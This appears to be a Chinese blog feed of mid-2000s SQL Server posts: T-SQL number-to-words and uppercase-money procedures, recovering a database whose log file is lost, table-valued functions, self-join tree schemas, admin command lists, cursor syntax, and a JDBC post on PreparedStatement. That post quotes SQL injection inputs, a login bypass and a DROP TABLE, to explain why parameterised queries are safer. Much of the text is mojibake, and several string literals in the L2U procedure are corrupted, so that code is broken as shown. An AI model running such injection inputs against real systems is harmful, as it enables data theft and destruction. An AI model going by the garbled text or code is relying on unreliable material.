declare @a varchar(800)
Exec stpMoneyFromNumberToEnglishDecimalFraction 123.566 ,@a output
print @a

/***************************************************************************************************************/
CREATE FUNCTION [dbo].[f_num_eng] (@num numeric(15,2))
RETURNS varchar(400) WITH ENCRYPTION
AS
BEGIN
--All rights reserved. pbsql
DECLARE @i int,@hundreds int,@tenth int,@one int
DECLARE @thousand int,@million int,@billion int
DECLARE @numbers varchar(400),@s varchar(15),@result varchar(400)
SET @numbers='one       two       three     four      five      '
              +'six       seven     eight     nine      ten       '
              +'eleven    twelve    thirteen fourteen fifteen   '
              +'sixteen   seventeen eighteen nineteen '
              +'twenty    thirty    forty     fifty     '
              +'sixty     seventy   eighty    ninety    '
SET @s=RIGHT('000000000000000'+CAST(@num AS varchar(15)),15)
SET @billion=CAST(SUBSTRING(@s,1,3) AS int)--?12位整?分成4�D�：�?、百万、千、百�?
SET @million=CAST(SUBSTRING(@s,4,3) AS int)
SET @thousand=CAST(SUBSTRING(@s,7,3) AS int)
SET @result=''
SET @i=0
WHILE @i<=3
BEGIN
    SET @hundreds=CAST(SUBSTRING(@s,@i*3+1,1) AS int)--百位0-9
    SET @tenth=CAST(SUBSTRING(@s,@i*3+2,1) AS int)
    SET @one=(CASE @tenth WHEN 1 THEN 10 ELSE 0 END)+CAST(SUBSTRING(@s,@i*3+3,1) AS int)--?�?-19
    SET @tenth=(CASE WHEN @tenth<=1 THEN 0 ELSE @tenth END)--十位0�?-9
    IF (@i=1 and @billion>0 and (@million>0 or @thousand>0 or @hundreds>0)) or
       (@i=2 and (@billion>0 or @million>0) and (@thousand>0 or @hundreds>0)) or
       (@i=3 and (@billion>0 or @million>0 or @thousand>0) and (@hundreds>0))
      SET @result=@result+', '--百位不是0?每段�?�?接符,
    IF (@i=3 and (@billion>0 or @million>0 or @thousand>0) and (@hundreds=0 and (@tenth>0 or @one>0)))
      SET @result=@result+' and '--百位�??�?接符AND
    IF @hundreds>0
      SET @result=@result+RTRIM(SUBSTRING(@numbers,@hundreds*10-9,10))+' hundred'
    IF @tenth>=2 and @tenth<=9
    BEGIN
      IF @hundreds>0
        SET @result=@result+' and '
      SET @result=@result+RTRIM(SUBSTRING(@numbers,@tenth*10+171,10))
    END
    IF @one>=1 and @one<=19
    BEGIN
      IF @tenth>0
        SET @result=@result+'-'
      ELSE
        IF @hundreds>0
          SET @result=@result+' and '
      SET @result=@result+RTRIM(SUBSTRING(@numbers,@one*10-9,10))
    END
    IF @i=0 and @billion>0
      SET @result=@result+' billion'
    IF @i=1 and @million>0
      SET @result=@result+' million'
    IF @i=2 and @thousand>0
      SET @result=@result+' thousand'
    SET @i=@i+1
END
IF SUBSTRING(@s,14,2)<>'00'
BEGIN
    SET @result=@result+' point '
    IF SUBSTRING(@s,14,1)='0'
      SET @result=@result+'zero'
    ELSE
      SET @result=@result+RTRIM(SUBSTRING(@numbers,CAST(SUBSTRING(@s,14,1) AS int)*10-9,10))
    IF SUBSTRING(@s,15,1)<>'0'
      SET @result=@result+' '+RTRIM(SUBSTRING(@numbers,CAST(SUBSTRING(@s,15,1) AS int)*10-9,10))
END
RETURN(@result)
END

liaojiyong 2007-01-16 15:49 发表评论

liaojiyong — Tue, 16 Jan 2007 07:46:00 GMT

/********************************************************
作者：(wleii165@yahoo.com)
版本�Q?.0
创徏旉��Q?0020227
修改旉��Q?br />功能�Q�小写金额�{换成大写
参数�Q�n_LowerMoney ��写金额
          v_TransType �U�类 -- 1: directly translate, 0: read it in words
输出�Q�大写金�?br />********************************************************/
CREATE PROCEDURE dbo.L2U
(
@n_LowerMoney numeric(15,2),
@v_TransType int,
@RET VARCHAR(200) output
)
AS

Declare @v_LowerStr VARCHAR(200) -- ��写金额
Declare @v_UpperPart VARCHAR(200)
Declare @v_UpperStr VARCHAR(200) -- 大写金额
Declare @i_I int

set nocount on

select @v_LowerStr = LTRIM(RTRIM(STR(@n_LowerMoney,20,2))) --四舍五入为指定的�_�ֺ��q�删除数据左右空�?br />
select @i_I = 1
select @v_UpperStr = ''

while ( @i_I <= len(@v_LowerStr))
begin
      select @v_UpperPart = case substring(@v_LowerStr,len(@v_LowerStr) - @i_I + 1,1)
                            WHEN  '.' THEN  '�?
                            WHEN  '0' THEN  '�?
                            WHEN  '1' THEN  '�?
                            WHEN  '2' THEN  '�?
                            WHEN  '3' THEN  '�?
                            WHEN  '4' THEN  '�?
                            WHEN  '5' THEN  '�?
                            WHEN  '6' THEN  '�?
                            WHEN  '7' THEN  '�?
                            WHEN  '8' THEN  '�?
                            WHEN  '9' THEN  '�?
                            END
                          +
                            case @i_I
                            WHEN  1  THEN  '�?
                            WHEN  2  THEN  '�?
                            WHEN  3  THEN  ''
                            WHEN  4  THEN  ''
                            WHEN  5  THEN  '�?
                            WHEN  6  THEN  '�?
                            WHEN  7  THEN  '�?
                            WHEN  8  THEN  '�?
                            WHEN  9  THEN  '�?
                            WHEN  10  THEN  '�?
                            WHEN  11  THEN  '�?
                            WHEN  12  THEN  '�?
                            WHEN  13  THEN  '�?
                            WHEN  14  THEN  '�?
                            WHEN  15  THEN  '�?
                            WHEN  16  THEN  '�?
                            ELSE ''
                            END
select @v_UpperStr = @v_UpperPart + @v_UpperStr
select @i_I = @i_I + 1
end

--------print  '//v_UpperStr ='+@v_UpperStr +'//'

if ( @v_TransType=0 )
begin
select @v_UpperStr = REPLACE(@v_UpperStr,'零拾','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'零䘪','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'零仟','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'雉��?,'�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'雉��','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'零角零分','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'零分','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'零角','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'零亿零万零元','亿元')
select @v_UpperStr = REPLACE(@v_UpperStr,'争K��万零�?,'亿元')
select @v_UpperStr = REPLACE(@v_UpperStr,'零亿零万','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'零万零元','万元')
select @v_UpperStr = REPLACE(@v_UpperStr,'万零�?,'万元')
select @v_UpperStr = REPLACE(@v_UpperStr,'零亿','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'零万','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'零元','�?)
select @v_UpperStr = REPLACE(@v_UpperStr,'雉��','�?)
end

-- 对壹元以下的金额的处理�?br />if ( substring(@v_UpperStr,1,1)='�? )
begin
     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))
end

if (substring(@v_UpperStr,1,1)= '�?)
begin
     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))
end

if (substring(@v_UpperStr,1,1)='�?)
begin
     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))
end

if ( substring(@v_UpperStr,1,1)='�?)
begin
     select @v_UpperStr = substring(@v_UpperStr,2,(len(@v_UpperStr) - 1))
end

if (substring(@v_UpperStr,1,1)='�?)
begin
     select @v_UpperStr = '零元�?
end

select @ret=@v_UpperStr

GO

调用�q�程�Q?br />
declare @ret varchar(200)

exec L2U 567983.897,1,@ret output

select @ret

liaojiyong 2007-01-16 15:46 发表评论

恢复丢失的SQL Server日志

liaojiyong — Fri, 13 Oct 2006 01:21:00 GMT

日志文�g丢失是一仉��常危险的事情�Q�很有可能你的数据库��d��毁坏。SQL Server数据库的恢复都是靠日志文件来完成�Q�所以无论如何都要保证日志文件的存在�?strong>　　

一�?概述

　　在应用系�l�中�Q�数据库往往是最核心的部分，一旦数据库毁坏或损坏，��会带来巨大的损失，所以数据库的管理越来越重要。我们在做数据库��理与维护工作中�Q�不可避免会出现各种各样的错误，本文针对数据库的日志文�g丢失时如何利用MDF文�g恢复数据库的�Ҏ��q�行了研�I��?

　　二�?数据库的恢复

　　当数据库的主数据MDF文�g完好无损�Ӟ��在丢�׃��LDF文�g的情况下�Q�如何利用MDF文�g恢复数据库？我们把SQL Server的日志文件分��Z��c�：一�c�L��无活动事务的日志�Q�另一�c�L��含活动事务的日志�Q�根据不同的日志�Q�采取不同的�Ҏ��来恢复数据库�?br />
　　1. 无活动事务的日志恢复

　　无活动事务的日志丢失�Ӟ��我们很容易利用MDF文�g直接恢复数据库，具体�Ҏ��如下�Q?br />
　　�?分离被质疑的数据库，可用企业��理器中�?分离数据库工�?�Q�或者用存储�q�程sp_detach_db分离数据库；

　　②利用MDF文�g附加数据库生成新的日志文�Ӟ��可用企业��理器中�?附加数据�?的工��P��或者用存储�q�程sp_attach_single_file_db附加数据库�?br />
　　如果数据库的日志文�g中含有活动事务，利用此方法就不能恢复数据库�?br />
　　2. 含活动事务的日志恢复

　　含有�z�d��事务的日志丢失时�Q�利用上�q�方法就会出�?数据库和日志文�g不符合，不能附加数据�?。对于这�U�情况下�Q�我们采用如下方法：

　　①新建同名数据库AAA�Q��ƈ讑֮�为紧急模�?br />
　　·停止SQL Server服务器；

　　·把数据库��L��据MDF文�g�U�走�Q?br />
　　·启SQL Server服务器，新徏一个同名的数据库AAA�Q?

　　·停止SQL Server服务器，把移走的MDF文�g再覆盖回来；

　　·启动SQL Server服务器，把AAA设�ؓ紧急模式，不过默认情况下，�pȝ��表是不能随便修改的，必须首先讄��一下��其能被修改，�q�行以下语句卛_��Q?br />

Use Master
Go
sp_configure ’allow updates�?1
reconfigure with override
Go

　　接着�q�行以下语句�Q�把AAA数据库设为紧急模式，��x��Sysdatabases表中AAA数据库的status属性设为�?7268�?��p��C�把AAA数据库处于紧急模式�?br />

update sysdatabases set status=32768 where hame=’AAA�?/td>

　　如果没有报告什么错误，��可以进行以下操作�?br />
　　②设�|�数据库AAA为单用户模式�Q��ƈ��查数据库

　　·重启SQL Server服务器；

　　·把数据库AAA设�ؓ单用��h��?br />

Sp_dboption ’AAA�? ’single user�? ’true�?/td>

　　·�q�行以下语句�Q�检查数据库AAA

DBCC CHECKDB(’AAA�?

　　如果没有什么大的问题就可以把数据库的状态改回去�?br />
　　③还原数据库的状�?br />
　　�q�行以下语句�Q�就可以把数据库的状态还原：

update sysdatabases set status=28 where name=’AAA�?br />sp_configure ’allow updates�?0
reconfigure with override
Go

　　如果没有什么大的问题，��h��一下数据库�Q�数据库AAA又会出现在你面前�Q�但目前恢复工作�q�没有做完，此时的数据库仍不能工作，�q�要�q�行下面的处理，才能真正恢复�?br />
　　④利用DTS的导入导出向��|��把数据库AAA导入��C��个新建数据库BBB�?br />
　　·新徏一个数据库BBB;

　　·叛_��BBB�Q�选择IMPORT功能�Q�打开导入向导�Q?br />
　　·目标源选择"在SQL Server数据库之间复制对象和数据�?�Q�这样可以把表结构，数据视图和存储过�E�导入到BBB�?br />
　　·再用此功能把BBB库替换成原来的AAA库即可�?br />
　　到此为止�Q�数据库AAA��完全恢复�?br />
　　三�?��结

　　日志文�g丢失是一仉��常危险的事情�Q�很有可能你的数据库��d��毁坏。SQL Server数据库的恢复都是靠日志文件来完成�Q�所以无论如何都要保证日志文件的存在�Q�它臛_��重要。�ؓ了��我们的数据库万无一失，最好采用多�U�备份方式相�l�合�Q�所以我们要从心里重视数据库的管理与�l�护工作�?!--NEWSZW_HZH_BEGIN-->

liaojiyong 2006-10-13 09:21 发表评论

SQL中Table型数据与用户自定义函�?�?

liaojiyong — Tue, 10 Oct 2006 04:19:00 GMT

SQL Server 2000 新增了Table型数据：Table型数据不能用来定义列的类�?只能用作T-SQL变量或者作��定义函数的返回�?下例是一个简单的table 型数据的例子:

Declare @TableVar Table
(Cola int Primary Key,Colb char(3))
Insert Into @TableVar Values (1, 'abc')
Insert Into @TableVar Values (2, 'def')
Select * From @TableVar

以上语句定义了一个名为TableVar,有两列的table 型变量像通常的表一样table 型数据也有insert select �{�操作。在SQL Server 2000 中table 型数据与用户自定义函数是密不可分的，SQL Server 2000支持两种�c�d��的函敎ͼ�内置函数和用户定义函数。内�|�函数只允许T-SQL 语句调用而不能更改��用。用户定义函数可以根据需要定义自己所需的函数�?span style="COLOR: rgb(255,102,0); TEXT-DECORATION: underline">用户定义函数可以带参敎ͼ�也可以不带参敎ͼ�但只能返回单倹{��正是由于这个原因SQL Server 2000 增加了table 型数�?/span>�Q�其值可以是整型字符型或数值型。下例是一个简单的用户定义函数说明了用户定义函数的基本�l�构:
Create Function CubicVolume
(@CubeLength decimal(4,1),@CubeWidth decimal(4,1),@CubeHeight decimal(4,1) )
Returns decimal(12,3)
As
Begin
Return (@CubeLength * @CubeWidth * @CubeHeight)
End
--SELECT AppDta.dbo.CubicVolume (10,8,6)

在上例中用CREATE FUNCTION 创徏了一个函数CubicVolume 来计��立方体的体�U�，变量CubeLength CubeWidth CubeHeight ��入参敎ͼ��q�回��gؓ数值型。BEGIN 表明函数体的开始，END 表明函数体的�l�束。通过下例我们��׃��清楚用户定义函数与table 型数据是如何有机�l�合的：

Use pubs

Create Function SalesByStore(@storeid varchar(30))
Returns Table
As
Return (Select title, qty From sales s, titles t
Where s.stor_id = @storeid and t.title_id = s.title_id)

-- select * from sales
SELECT * FROM Pubs.dbo.SalesByStore(7131)

liaojiyong 2006-10-10 12:19 发表评论

数据库物理模型设计的其他模式之自联结模式(�?

liaojiyong — Tue, 10 Oct 2006 04:14:00 GMT

自联�l�模式，也可以看作是“主从模式”的一�U�特�D�情况（或者说是“变形”）�Q�它在一张表内实��C��“一对多关系”，�q�且可以�Ҏ��业务需要实现“有限层”或者“无限层”的��M��嵌套�?/div>

�q�种模式用得最多的情况��是实现“树形结构”数据的存储�Q�比如各大网站上常见的细分类别、应用系�l�的�l�织�l�构、Web�pȝ��的菜单树�{�都能用到这�U�模式�?/div>

自联�l�模式有很多变体�Q�且每种变体的优�~�点同样鲜明。由于本�q�蝲的重点在于对跨行业通用数据库模型设计进行分析，所以对每种具体模式的细节方面的设计技巧不能作详细��Q�请大家原谅。这里仅举两个例子说明：

1. ��单自联结

��单自联结�Q�就是在一个表里设�|�当前类ID、父�c�ID�Q�同时规定最��层�cȝ��父类ID��Z��个固定��|��比如0�Q�，在生成树的时候��用递归��法�Q�记录的前后��序通过“排序号”字�D�|��定�?/div>

�q�个表用来存储菜单树很方�ѝ��首先会有一个主菜单�Q�主菜单下有子菜单，子菜单下面又有孙菜单……菜单的数量不确定、层�U�不��定�Q�用户可以在��L��菜单下增加新的子菜单�Q�或者删除某个子菜单及其下的所有孙菜单……这�U�设计方式很多�h都会用到�Q�短��精悍、维护方�ѝ��且完全满��用户需求，而且树的层次不限�Q�扩展�v来非常容易。这些都是它的优炏V�?/div>

它的�~�点��是树结构的生成�׃��使用了递归��法�Q�必然要对该表进行多�ơ读取（��d��的次�?= 表内的记录数 �?最深层�U�的记录敎ͼ��Q�多�ơ读取就来了比较低的�q�行效率�Q�当表里的记录很多的时候，�q�个�~�点可以�U�得上是致命的�?/div>

于是��有了下面的�q�种设计模式�?/div>

2. 扩展自联�l?/div>

扩展自联�l�，与简单自联结的最大区别就是通过附加冗余字段来避免递归�q�算�Q�所要实现的主要目标��是一�ơ读取就能生成整个树�Q�一�ơ提高树的生成效率�?/div>

但是�Q�鱼与熊掌不可兼得，凡事都有两面性�?/div>

生成树的效率提高了，增删改表内记录的��法��׃��相应复杂�Q��ƈ且树的层��C��变�ؓ有限的了�?/div>

所以在此类设计的时候，大家�q�是要认真分析业务需求，看看实际业务的重点在什么地方，然后再作具体设计。比如一些门��L��站在首页昄��产品�c�d��是业务重点，那么我们在设计的时候就要尽可能的提高生成树的效率，采取扩展自联�l�模式；相反�Q�一些基于Web的业务系�l�，要求对菜单树的增删改�l�护操作��量��单，�׃��菜单的数目不多，所以菜单树的生成效率不是瓶颈，那么我们设计的时候就可以采取��单自联结模式�?/div>

关于附加冗余字段实现扩展自联�l�的�Ҏ��很多�Q�网上也有很多这斚w��的帖子，大家可以到Google上搜一下�?/div>

在这里仅举一个例子如下：

�q�个设计与前面的设计最大的区别��是排序字段�Q�前面的��单自联结用了一个整数型的字�D�|��实现排序�Q�这里用了一个Varchar20型的字段“层�U�代码”来实现大排序。这个字�D늚�取��g��位一�l�，代表一层，假定最�׃ؓ5层，初始��gؓ0000000000�?/div>

按照�q�样的设计，表内的数据记录可能就是这��L��Q?

ID TypeName ParentID TypeLevel

1 根类�?span> 0 000000

2 �c�d��1 1 010000

3 �c�d��1.1 2 010100

4 �c�d��1.2 2 010200

5 �c�d��2 1 020000

6 �c�d��2.1 5 020100

7 �c�d��3 1 030000

8 �c�d��3.1 7 030100

9 �c�d��3.2 7 030200

10 �c�d��1.1.1 3 010101

…�?/div>

现在按TypeLevel字段�q�行排序�Q�执行如下SQL语句�Q�SELECT * FROM TMP_Type ORDER BY TypeLevel

列出记录集如下：

ID TypeName ParentID TypeLevel

1 �ȝ��?span> 0 000000

2 �c�d��1 1 010000

3 �c�d��1.1 2 010100

10 �c�d��1.1.1 3 010101

4 �c�d��1.2 2 010200

5 �c�d��2 1 020000

6 �c�d��2.1 5 020100

7 �c�d��3 1 030000

8 �c�d��3.1 7 030100

9 �c�d��3.2 7 030200

…�?/div>

在控制显�C�类别的层次�Ӟ��只要对“层�U�代码”字�D�中的数��D��行判断，�?位一�l�，如大�?则向右移2个空根{�?/div>

liaojiyong 2006-10-10 12:14 发表评论

��Z��么要始终使用PreparedStatement代替Statement? (�?

liaojiyong — Tue, 10 Oct 2006 04:09:00 GMT

在JDBC应用�?如果你已�l�是�E�有水��^开发�?你就应该始终以PreparedStatement代替Statement.也就是说,在�Q何时候都不要使用Statement.
��Z��以下的原�?
一.代码的可��L��和可维护�?
虽然用PreparedStatement来代替Statement会��代码多出几行,但这��L��代码无论从可��L��还是可�l�护性上来说.都比直接用Statement的代码高很多档次:

stmt.executeUpdate("insert into tb_name (col1,col2,col2,col4) values ('"+var1+"','"+var2+"',"+var3+",'"+var4+"')");

perstmt = con.prepareStatement("insert into tb_name (col1,col2,col2,col4) values (?,?,?,?)");
perstmt.setString(1,var1);
perstmt.setString(2,var2);
perstmt.setString(3,var3);
perstmt.setString(4,var4);
perstmt.executeUpdate();

不用我多�?对于�W�一�U�方�?别说其他人去��M��的代�?��是你自��p��一�D�|��间再去读,都会觉得伤心.

�?PreparedStatement��最大可能提高性能.
每一�U�数据库都会��最大努力对预编译语句提供最大的性能优化.因�ؓ预编译语句有可能被重复调�?所以语句在被DB的编译器�~�译后的执行代码被缓存下�?那么下次调用时只要是相同的预�~�译语句��׃��需要编�?只要��参数直接传入编译过的语句执行代码中(相当于一个涵�?��׃��得到执行.�q��ƈ不是说只有一个Connection中多�ơ执行的预编译语句被�~�存,而是对于整个DB�?只要预编译的语句语法和缓存中匚w��.那么在�Q何时候就可以不需要再�ơ编译而可以直接执�?而statement的语句中,即��是相同一操作,而由于每�ơ操作的数据不同所以��整个语句相匹配的��Z��极小,几乎不太可能匚w��.比如:
insert into tb_name (col1,col2) values ('11','22');
insert into tb_name (col1,col2) values ('11','23');
即��是相同操作但因�ؓ数据内容不一�?所以整个个语句本��n不能匚w��,没有�~�存语句的意�?事实是没有数据库会对普通语句编译后的执行代码缓�?

当然�q�不是所以预�~�译语句都一定会被缓�?数据库本�w�会用一�U�策�?比如使用频度�{�因素来军_��什么时候不再缓存已有的预编译结�?以保存有更多的空间存储新的预�~�译语句.

�?最重要的一�Ҏ��极大地提高了安全�?

即��到目前�ؓ�?仍有一些�h�q�基本的恶义SQL语法都不知道.
String sql = "select * from tb_name where name= '"+varname+"' and passwd='"+varpasswd+"'";
如果我们把[' or '1' = '1]作�ؓvarpasswd传入�q�来.用户名随�?看看会成��Z��?

select * from tb_name = '随意' and passwd = '' or '1' = '1';
因�ؓ'1'='1'肯定成立,所以可以�Q何通过验证.更有甚�?
把[';drop table tb_name;]作�ؓvarpasswd传入�q�来,�?
select * from tb_name = '随意' and passwd = '';drop table tb_name;有些数据库是不会让你成功�?但也有很多数据库��可以�ɘq�些语句得到执行.

而如果你使用预编译语�?你传入的��M��内容��׃��会和原来的语句发生�Q何匹配的关系.只要全��用预�~�译语句,你就用不着对传入的数据做�Q何过�?而如果��用普通的statement,有可能要对drop,;�{�做费尽心机的判断和�q�虑.

上面的几个原�?�q�不��你在��M��时候都使用PreparedStatement�?

liaojiyong 2006-10-10 12:09 发表评论

SQL Server ��理常用的SQL和T-SQL(�?

liaojiyong — Tue, 10 Oct 2006 04:01:00 GMT

1. 查看数据库的版本
   select @@version

   常见的几�U�SQL SERVER打补丁后的版本号:

    8.00.194   Microsoft SQL Server 2000
    8.00.384   Microsoft SQL Server 2000 SP1
    8.00.532   Microsoft SQL Server 2000 SP2
    8.00.760   Microsoft SQL Server 2000 SP3
    8.00.818   Microsoft SQL Server 2000 SP3 w/ Cumulative Patch MS03-031
    8.00.2039  Microsoft SQL Server 2000 SP4

2. 查看数据库所在机器操作系�l�参�?
   exec master..xp_msver

3. 查看数据库启动的参数
   sp_configure

4. 查看数据库启动时闾b�      �?
   select convert(varchar(30),login_time,120) from master..sysprocesses where spid=1

   查看数据库服务器名和实例�?
   print 'Server Name...............: ' + convert(varchar(30),@@SERVERNAME)
   print 'Instance..................: ' + convert(varchar(30),@@SERVICENAME)

5. 查看所有数据库名称及大��?
   sp_helpdb

   重命名数据库用的SQL
   sp_renamedb 'old_dbname', 'new_dbname'

6. 查看所有数据库用户��d��信息
   sp_helplogins

   查看所有数据库用户所属的角色信息
   sp_helpsrvrolemember

   修复�q�移服务器时孤立用户�?可以用的fix_orphan_user脚本或者LoneUser�q�程

   更改某个数据对象的用户属�?
   sp_changeobjectowner [@objectname =] 'object', [@newowner =] 'owner'

   注意: 更改对象名的��M��部分都可能破坏脚本和存储�q�程�?

   把一台服务器上的数据库用��L��录信息备份出来可以用add_login_to_aserver脚本

   查看某数据库�?对象�U�用��h��?
   sp_helprotect

7. 查看链接服务�?
   sp_helplinkedsrvlogin

   查看�q�端数据库用��L��录信�?
   sp_helpremotelogin

8.查看某数据库下某个数据对象的大小
   sp_spaceused @objname

   �q�可以用sp_toptables�q�程看最大的N(默认�?0)个表

   查看某数据库下某个数据对象的索引信息
   sp_helpindex @objname

   �q�可以用SP_NChelpindex�q�程查看更详�l�的索引情况
   SP_NChelpindex @objname

   clustered索引是把记录按物理顺序排列的�Q�烦引占的空间比较少。�?
   寚w��值DML操作十分频繁的表我徏议用非clustered索引和约束，fillfactor参数都用默认倹{�?

   查看某数据库下某个数据对象的的约束信�?
   sp_helpconstraint @objname

9.查看数据库里所有的存储�q�程和函�?
   use @database_name
   sp_stored_procedures

   查看存储�q�程和函数的源代�?
   sp_helptext '@procedure_name'

   查看包含某个字符串@str的数据对象名�U?
   select distinct object_name(id) from syscomments where text like '%@str%'

   创徏加密的存储过�E�或函数在AS前面加WITH ENCRYPTION参数

   解密加密�q�的存储�q�程和函数可以用sp_decrypt�q�程

       10.查看数据库里用户和进�E�的信息
   sp_who

  查看SQL Server数据库里的活动用户和�q�程的信�?
   sp_who 'active'

  查看SQL Server数据库里的锁的情�?
   sp_lock

   �q�程�?--50是SQL Server�pȝ��内部用的,�q�程号大�?0的才是用��L��q�接�q�程.

   spid是进�E�编�?dbid是数据库�~�号,objid是数据对象编�?

   查看�q�程正在执行的SQL语句
   dbcc inputbuffer ()

  推荐大家用经�q�改�q�后的sp_who3�q�程可以直接看到�q�程�q�行的SQL语句
   sp_who3

  ��查死锁用sp_who_lock�q�程
   sp_who_lock

       11.查看和收�~�数据库日志文�g的方�?

          查看所有数据库日志文�g大小
          dbcc sqlperf(logspace)

          如果某些日志文�g较大�Q�收�~�简单恢复模式数据库日志�Q�收�~�后@database_name_log的大��单位�ؓM
   backup log @database_name with no_log
   dbcc shrinkfile (@database_name_log, 5)

       12.分析SQL Server SQL 语句的方�?

   set statistics time {on | off}

   set statistics io {on | off}

           囑�Ş方式昄��查询执行计划

           在查询分析器->查询->昄��估计的评估计�?D)-Ctrl-L 或者点��d��h��里的囑�Ş

           文本方式昄��查询执行计划

   set showplan_all {on | off}

   set showplan_text { on | off }

   set statistics profile { on | off }


       13.出现不一致错误时�Q�NT事�g查看器里�?624号错误，修复数据库的�Ҏ��

  先注释掉应用�E�序里引用的出现不一致性错误的表，然后在备份或其它机器上先恢复然后做修复操�?

  alter database [@error_database_name] set single_user

  修复出现不一致错误的�?

  dbcc checktable('@error_table_name',repair_allow_data_loss)

  或者可惜选择修复出现不一致错误的��型数据库名

  dbcc checkdb('@error_database_name',repair_allow_data_loss)

  alter database [@error_database_name] set multi_user

  CHECKDB �?个参�?

  repair_allow_data_loss 包括对行和页�q�行分配和取消分配以�Ҏ��分配错误、结构行或页的错误，
  以及删除已损坏的文本对象�Q�这些修复可能会��D��一些数据丢失�?
  修复操作可以在用户事务下完成以允许用户回滚所做的更改�?
  如果回滚修复�Q�则数据库仍会含有错误，应该从备份进行恢复�?
  如果�׃��所提供修复�{��的缘故遗漏某个错误的修复�Q�则��遗漏�Q何取决于该修复的修复�?
  修复完成后，请备份数据库。�?

  repair_fast �q�行��的、不耗时的修复操作，如修复非聚集索引中的附加键�?
  �q�些修复可以很快完成�Q��ƈ且不会有丢失数据的危险。�?

  repair_rebuild 执行由 repair_fast 完成的所有修复，包括需要较长时间的修复�Q�如重徏索引�Q��?
  执行�q�些修复时不会有丢失数据的危险。�?img src ="http://www.aygfsteel.com/liaojiyong/aggbug/74260.html" width = "1" height = "1" />

liaojiyong 2006-10-10 12:01 发表评论

liaojiyong — Tue, 10 Oct 2006 03:14:00 GMT

摘要: PowerDesigner是Sybase公司著名的��品，我从16-bit的Windows开始，��接触�ƈ使用�q�个工具�Q�应该说是有很深的感情。PowerDesigner是DBA和��Y件架构师设计的利器，随着版本的不断升�U�，PowerDesigner提供了更多更强大的功能。仅以本��ؓ开始，向大家介�l�一些PowerDesinger中的使用技巧，帮助大家更好地更有效率地使用�q�个CASE工具�? ... 阅读全文

liaojiyong 2006-10-10 11:14 发表评论

mmsql游标詌��

liaojiyong — Sat, 30 Sep 2006 08:30:00 GMT

每一个游标必���L��四个�l�成部分�q�四个关键部分必��ȝ��合下面的��序�Q?
1.DECLARE 游标
2.OPEN 游标
3.从一个游标中FETCH 信息
4.CLOSE 或DEALLOCATE 游标
通常我们使用DECLARE 来声明一个游标声明一个游标主要包括以下主要内容： 
游标名字 
数据来源�Q�表和列�Q?
选取条�g 
属性（仅读或可修改�Q?
其语法格式如下：
DECLARE cursor_name [INSENSITIVE] [SCROLL] CURSOR
FOR select_statement
[FOR {READ ONLY | UPDATE [OF column_name [,...n]]}]
其中�Q?
cursor_name
指游标的名字�?
INSENSITIVE
表明MS SQL SERVER 会将游标定义所选取出来的数据记录存攑֜�一临时表内�Q�徏立在tempdb 数据库下�Q��?br />对该游标的读取操作皆�׃��时表来应�{�。因此，对基本表的修改�ƈ不媄响游标提取的数据�Q�即游标不会随着
基本表内容的改变而改变，同时也无法通过
游标来更新基本表。如果不使用该保留字�Q�那么对基本表的更新、删除都会反映到游标中�?

另外应该指出�Q�当遇到以下情况发生�Ӟ��游标���自动设定INSENSITIVE 选项�?
在SELECT 语句中��用DISTINCT�?GROUP BY�?HAVING UNION 语句�Q?
使用OUTER JOIN�Q?
所选取的�Q意表没有索引�Q?
���实数值当作选取的列�?
SCROLL
表明所有的提取操作�Q�如FIRST�?LAST�?PRIOR�?NEXT�?RELATIVE�?ABSOLUTE�Q�都可用�?br />如果不��用该保留字，那么只能�q�行NEXT 提取操作。由此可见，SCROLL 极大地增加了提取数据的灵�z�L��，
可以随意��d���l�果集中的�Q一行数据记录，而不必关闭再
重开游标�?
select_statement
是定义结果集的SELECT 语句。应该注意的是，在游标中不能使用COMPUTE、COMPU- TE BY�?FOR BROWSE�?
INTO 语句�?
READ ONLY
表明不允许游标内的数据被更新���管在缺省状态下游标是允许更新的。而且在UPDATE或DELETE 语句�?br />WHERE CURRENT OF 子句中，不允许对该游标进行引用�?
UPDATE [OF column_name[,…n]]
定义在游标中可被修改的列�Q�如果不指出要更新的列，那么所有的列都���被更新�?br />当游标被成功创徏后，游标名成�����游标的惟一标识�Q�如果在以后的存储过�E�、触发器或Transact_SQL 
脚本中��用游标，必须指定该游标的名字�?
LOCAL
定义游标的作用域仅限在其所在的存储�q�程、触发器或批处理中。当建立游标的存储过�E�执行结束后�Q?br />游标会被自动释放。因此，我们常在存储�q�程中��用OUTPUT 保留字，���游标传递给该存储过�E�的调用者，
�q�样在存储过�E�执行结束后�Q�可以引用该游标变量�Q�在该种情况下，直到引用该游标的最后一个就是被释放�Ӟ��
游标才会自动释放�?
GLOBAL
定义游标的作用域是整个会话层会话层指用户的连接时间它包括从用��L��录到SQLSERVER 到脱���L��据库的整�D�|��间�?br />选择GLOBAL 表明在整个会话层的�Q何存储过�E�、触发器或批处理中都可以使用该游标，只有当用戯������L��据库�?br />时该游标才会被自动释放�?
注意�Q�如果既未��用GLOBAL也未使用LOCAL�Q�那么SQL SERVER�����用default local cursor数据库选项�Q��ؓ�?br />与以彰的版本歉容�Q�该选项常设�|��ؓFALSE�?
FORWARD_ONLY
选项指明在从游标中提取数据记录时�Q�只能按照从�W�一行到最后一行的��序�Q�此时只能选用FETCH NEXT 操作�?br />除非使用STATIC�Q?KEYSET 和DYNAMIC 关键字，否则如果未指明是使用FORWARD_ONLY �q�是使用SCROLL�Q?
那么FORWARD_ONLY ���成为缺省选项�Q�因�����使用STATIC KEYSET 和DYNAMIC 关键字，则变成了SCROLL 游标�?br />另外如果使用了FORWARD_ONLY�Q?便不能��用FAST_FORWARD�?
STATIC
选项的含义与INSENSITIVE 选项一��P��MS SQL SERVER 会将游标定义所选取出来的数据记录存攑֜�一临时表内
